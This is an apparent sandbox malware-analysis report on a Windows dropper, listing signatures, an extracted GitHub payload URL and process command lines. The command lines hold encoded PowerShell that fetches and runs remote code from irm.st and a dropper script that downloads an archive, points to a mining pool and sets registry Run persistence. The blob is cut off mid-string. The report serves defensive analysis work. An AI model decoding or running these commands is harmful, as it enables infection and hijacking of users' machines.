Analysis
- max time kernel
149s - max time network
135s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
17/10/2026, 01:15
General
- Target AdgD8.g7tDaPmt.exe
- Size 3.2MB
- Sample261017-bme7qstzf1
- SHA256 c6dc70f71a48c115d227c79fe490bf4a7d78fae5c4f053d15793b3a46f8d81fb
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://github.com/digitalforensiker/myreadme/raw/refs/heads/main/readme.zip
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\AdgD8.g7tDaPmt.exe"C:\Users\Admin\AppData\Local\Temp\AdgD8.g7tDaPmt.exe"1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoACgAkAFUAcgBsACAAIAAgACAAIAAgACAAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGQAaQBnAGkAdABhAGwAZgBvAHIAZQBuAHMAaQBrAGUAcgAvAG0AeQByAGUAYQBkAG0AZQAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwByAGUAYQBkAG0AZQAuAHoAaQBwACcACgAkAEEAcABwAE4AYQBtAGUAIAAgACAAIAA9ACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAKACQAUwB0AHIAYQB0AHUAbQBVAHIAbAAgAD0AIAAnAHMAdAByAGEAdAB1AG0AKwB0AGMAcAA6AC8ALwBjADIALgBkAG8AeABiAGkAbgAuAGMAeQA6ADMAMwAzADMAJwAKACQAVQBzAGUAcgBBAHIAZwAgACAAIAAgAD0AIAAnAHgALgB4AG0AcgByAGkAZwAnAAoACgAkAFQAYQByAGcAZQB0AEQAaQByACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACcATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACcACgAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBrAC4AegBpAHAAJwAKACQARQB4AGUAUABhAHQAaAAgACAAIAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAoACQAQQBwAHAATgBhAG0AZQAgACsAIAAnAC4AZQB4AGUAJwApAAoAJABWAGIAcwBQAGEAdABoACAAIAAgACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAGEAcgBnAGUAdABEAGkAcgAgACcAcwB0AGEAcgB0AC4AdgBiAHMAJwAKACQAUgBlAGEAZABtAGUAUABhAHQAaAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAHIAZQBhAGQAbQBlAC4AbQBkACcACgAKACQAUgB1AG4ASwBlAHkAIAAgACAAIAAgACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAKACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARQB4AHAAbABvAHIAZQByAFwAUwB0AGEAcgB0AHUAcABBAHAAcAByAG8AdgBlAGQAXABSAHUAbgAnAAoACgAkAEUAbgBhAGIAbABlAGQAQgBsAG8AYgAgAD0AIABbAGIAeQB0AGUAWwBdAF0AKAAwAHgAMAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzACAAewAKACAAIAAgACAAJABmAGwAYQBnAHMAIAA9ACAAMAAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABuACAAaQBuACAAQAAoACcAVABsAHMAMQAzACcALAAnAFQAbABzADEAMgAnACwAJwBUAGwAcwAxADEAJwAsACcAVABsAHMAJwAsACcAUwBzAGwAMwAnACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB2AGEAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAJABuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHYAYQBsACkAIAB7ACAAJABmAGwAYQBnAHMAIAA9ACAAJABmAGwAYQBnAHMAIAAtAGIAbwByACAAWwBpAG4AdABdACQAdgBhAGwAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGYAbABhAGcAcwAgAC0AZQBxACAAMAApACAAewAgAHIAZQB0AHUAcgBuACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQAkAGYAbABhAGcAcwAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB7AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAYQByAGEAbQAoACQAcwAsACQAYwAsACQAYwBoACwAJABlACkAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAewAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgACQAbgB1AGwAbAAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzAAoACgBmAHUAbgBjAHQAaQBvAG4AIABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgBvAG8AbABdACgARwBlAHQALQBDAG8AbQBtAGEAbgBkACAALQBOAGEAbQBlACAAJABOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAJABPAGIAagBlAGMAdAAsAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAE8AYgBqAGUAYwB0ACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAAkAHAAIAA9ACAAJABPAGIAagBlAGMAdAAuAFAAUwBPAGIAagBlAGMAdAAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAkAE4AYQBtAGUAXQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABwACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcAAuAFYAYQBsAHUAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEAcwBzAGUAcgB0AC0AUwB0AGEAcgB0AHUAcABFAG4AYQBiAGwAZQBkACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABSAHUAbgBOAGEAbQBlACkACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABmAGEAbABzAGUAIAB9AAoACgAgACAAIAAgACQAcgB1AG4ASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABSAHUAbgBLAGUAeQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAHIAdQBuAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAcgB1AG4AVgBhAGwAdQBlACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAgAH0ACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEEAcABwAHIAbwB2AGUAZABSAHUAbgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAKACAAIAAgACAAJABhAHAAcAByAG8AdgBlAGQASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQAYgBlAGYAbwByAGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAGEAcABwAHIAbwB2AGUAZABJAHQAZQBtACAALQBOAGEAbQBlACAAJABSAHUAbgBOAGEAbQBlAAoACgAgACAAIAAgAGkAZgAgACgAJABiAGUAZgBvAHIAZQAgAC0AYQBuAGQAIAAkAGIAZQBmAG8AcgBlAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAIAAtAGEAbgBkACAAJABiAGUAZgBvAHIAZQBbADAAXQAgAC0AZQBxACAAMgApACAAewAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlACAAfQAKAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAQgBpAG4AYQByAHkAIAAtAFYAYQBsAHUAZQAgACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAGEAZgB0AGUAcgAgAD0AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAALQBPAGIAagBlAGMAdAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABhAGYAdABlAHIAKQAgAHsAIAByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlACAAfQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAoACgAJABhAGYAdABlAHIAIAAtAGoAbwBpAG4AIAAnACwAJwApACAALQBlAHEAIAAoACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBqAG8AaQBuACAAJwAsACcAKQApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AKABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAKQBdAFsAcwB0AHIAaQBuAGcAXQAkAFAAcgBvAGMATgBhAG0AZQApAAoAIAAgACAAIAAkAGUAeABlACAAPQAgACQAUAByAG8AYwBOAGEAbQBlACAAKwAgACcALgBlAHgAZQAnAAoACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAUAByAG8AYwBOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHQAcgB1AGUAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAZQB4AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQAgAH0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAcQAgAD0AIABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBOAGEAbQBlACAALQBlAHEAIAAkAGUAeABlACAAfQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcQApACAAewAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlACAAfQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBGAGkAbABlAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBdACQAVQByAGwALABbAHMAdAByAGkAbgBnAF0AJABPAHUAdABGAGkAbABlACkACgAgACAAIAAgACQAaABkAHIAIAA9ACAAQAB7ACAAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcAIAA9ACAAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwAgAH0ACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAEMAbwBtAG0AYQBuAGQARQB4AGkAcwB0AHMAIAAnAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAnACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAFUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABPAHUAdABGAGkAbABlACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgACQAaABkAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwAgAHIAZQB0AHUAcgBuACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAEUAbgBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ADsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACQATwB1AHQARgBpAGwAZQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZAByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAIAByAGUAdAB1AHIAbgAgAH0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAewAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgAEQAaQBzAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAnACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAFMAdABhAHIAdAAtAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByACAALQBTAG8AdQByAGMAZQAgACQAVQByAGwAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQATwB1AHQARgBpAGwAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAA7ACAAcgBlAHQAdQByAG4AIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAnACkACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVQByAGwALAAkAE8AdQB0AEYAaQBsAGUAKQAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgACQAdwBjAC4ARABpAHMAcABvAHMAZQAoACkAIAB9AAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuAAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIABFAG4AYQBiAGwAZQAtAFIAZQBsAGEAeABlAGQAQwBlAHIAdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAIAAgACAAIAAgACAAIAAgACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAnACkACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVQByAGwALAAkAE8AdQB0AEYAaQBsAGUAKQAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgACQAdwBjAC4ARABpAHMAcABvAHMAZQAoACkAIAB9AAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuAAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgAEQAaQBzAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB9AAoAIAAgACAAIAB0AGgAcgBvAHcAIAAiAEQAbwB3AG4AbABvAGEAZAAgAGYAYQBpAGwAZQBkADoAIAAkAFUAcgBsACIACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABFAHgAcABhAG4AZAAtAFoAaQBwAFcAaQB0AGgARgBhAGwAbABiAGEAYwBrACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBdACQAUABhAHQAaAAsAFsAcwB0AHIAaQBuAGcAXQAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACkACgAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAEMAbwBtAG0AYQBuAGQARQB4AGkAcwB0AHMAIAAnAEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAnACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABQAGEAdABoACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuAAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAApACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAgACAAIAB9AAoAIAAgACAAIAAkAHMAcgBjACAAIAA9ACAAKABSAGUAcwBvAGwAdgBlAC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABQAGEAdABoACkALgBQAGEAdABoAAoAIAAgACAAIAAkAGQAZQBzAHQAIAA9ACAAKABSAGUAcwBvAGwAdgBlAC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAApAC4AUABhAHQAaAAKACAAIAAgACAAJABzAGgAZQBsAGwAIAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAKACAAIAAgACAAJAB6AGkAcAAgACAAIAAgAD0AIAAkAHMAaABlAGwAbAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABzAHIAYwApAAoAIAAgACAAIAAkAHQAYQByAGcAZQB0ACAAPQAgACQAcwBoAGUAbABsAC4ATgBhAG0AZQBTAHAAYQBjAGUAKAAkAGQAZQBzAHQAKQAKACAAIAAgACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAGUAcQAgACQAegBpAHAAKQAgACAAIAAgAHsAIAB0AGgAcgBvAHcAIAAiAFoASQBQACAAbwBwAGUAbgAgAGYAYQBpAGwAZQBkADoAIAAkAHMAcgBjACIAIAB9AAoAIAAgACAAIABpAGYAIAAoACQAbgB1AGwAbAAgAC0AZQBxACAAJAB0AGEAcgBnAGUAdAApACAAewAgAHQAaAByAG8AdwAgACIARABlAHMAdAAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQA6ACAAJABkAGUAcwB0ACIAIAB9AAoAIAAgACAAIAAkAHQAYQByAGcAZQB0AC4AQwBvAHAAeQBIAGUAcgBlACgAJAB6AGkAcAAuAEkAdABlAG0AcwAoACkALAAgADAAeAAxADQAKQAKACAAIAAgACAAJABkAGUAYQBkAGwAaQBuAGUAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAFMAZQBjAG8AbgBkAHMAKAAxADUAKQAKACAAIAAgACAAdwBoAGkAbABlACAAKAAoAEcAZQB0AC0ARABhAHQAZQApACAALQBsAHQAIAAkAGQAZQBhAGQAbABpAG4AZQApACAAewAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACgARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAb